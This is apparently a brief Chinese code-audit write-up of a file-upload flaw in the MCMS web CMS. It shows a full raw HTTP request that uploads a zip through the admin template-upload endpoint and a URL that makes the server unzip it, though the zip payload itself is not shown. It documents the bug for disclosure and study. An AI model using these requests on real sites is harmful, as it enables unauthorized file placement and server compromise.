Life has its own fate, and meeting may not be accidental.

0%

代码审计-mcms文件上传

简单记录一次代码审计成果

war部署

https://gitee.com/mingSoft/MCMS/issues/I18KQS

tomcat配置

后台文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /ms_mcms_war/ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:9999
Content-Length: 1356
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4rRiPqpBj1j2fyZY
Accept: */*
Origin: http://localhost:9999
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:9999/ms_mcms_war/ms/template/index.do?
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SHIRO_SESSION_ID=57b78cff-d79d-4dae-ac10-be020b210a02; rememberMe=7vqjhyHitb3yzrhKBxcEG53DzGKAqEuCn+NEwrFRloVObSFsZgpKh1a2nF12hzdqOs1u8DNPbbwDhCC/P1cZmvH4wIoDMwBe5L2L7ocLEYYWqevfonM8vAGcduDU6zZ7J5BDdc0GyBszHLMmg0Qxm75zAuGSDWNR2phLi4y82IqM0ucBCtOcnPlom3Tvw/9xDiF13U+TFjiitcLNQXGvhNQbzWD/MoaC1v5v/MBDMP+bLJRvd38mVnFdNld78HzbDU1NBejzucVOUt/tWzJWk7Uh5zRphgv4x4flDR2agvDEC6RtHIRxLsxDk8FaqoZ9vwr83rH1g/9oWr7ZRKovP/7ik9lrwxwCDXTYMaGrdrCcPSNcCNUT9Jh3htfQ8aEnY5MgbX5w3G4Onzn4O02oY0TRfGeMMcQNkJghyQcFN3hpljSGOXQCsUCeXgcjq+ZkcpG52JfWW7xnnSmAhUN6aWcO5qTweYMQgbDZDqXyMUAhMxyRE3vvo24/mUye5ZkH8ojC0trTO7k5hJG1/IZGdM13ltNBDXp4ZXypoOdaaI7Qxazuhq0kK/A4QQo5jA516vTqnYejGXKrJnbrhRiZNvqBmoeRAIC+OksvZY24yN0Bqi07FR39+dz62+tk0tdM/FWfFV4xBjGHPcbqc+cAyrrktS83OwV+wP7a3/MF2ahFzQw3CsWTxENiO678Tf0oY1pMRG2Bfnj6DgM5KHkmKF/xti/2AdiRmN2PTb45RSp90RWci1wekVyWIEe9uC/YklNIfSWYj83i5MmX/Gjj+qZTKz1KAFBujPs6ak/8BMeB1Oa+7yItW3VDVaqa+WR1hQHaf+pPX2CxDqv1OROeT/7LfKJ2/nBw2KhCw8QRHUMV2xITE3ckNC4y0iZpAmt0dTJHkAUDzEPsl1uXy2Sm4vcVtHoF04k96l9ej1WQZFUuFVAQctSzdYXdEEyy8oicMn0m1Xsg4hHu6gd5DT6/AnOE59OdJ+mp5M7nKolQFcjxdeDm37cM+JzOGs1Mppk4+jDhtM37+T6u9IYOcJBv3FgeC72HAcXYI6X+/4YzDiJdRB/TIv5Z0+OsZ1+6a2peO2fq4+tdCfRBI+MeK6VTdRQCsFekYT1JehU8/HtmhuHWKYUO32zSzu44q4NG7oOc4KuGIln8oHahsKb6ighJfW3VDvzZzI71nozYvOFtCJ55UytLCatrsB92fu/jssJrLND0IRtY8XPcMfXoDxhDcqJzT2r1A2AKxs16BjtVxWgBhl+lmnyf+IwoVnbSRS7RpcK7UHjM9jYiYsavFZ50JVuEBn/TFrKHFaxCVWqJ6dGtF97/1Nzw5Pi7RV+Dwd5NJuNvZI9TqUKG7vM=; pageno_cookie=1
Connection: close

------WebKitFormBoundary4rRiPqpBj1j2fyZY
Content-Disposition: form-data; name="uploadFloderPath"

true
------WebKitFormBoundary4rRiPqpBj1j2fyZY
Content-Disposition: form-data; name="file"; filename="1.zip"
Content-Type: application/x-zip-compressed

PK

自动解压zip

1
http://localhost:9999/ms_mcms_war/ms/template/unZip.do?fileUrl=%2Ftemplate%2F1%2F1718867775799.zip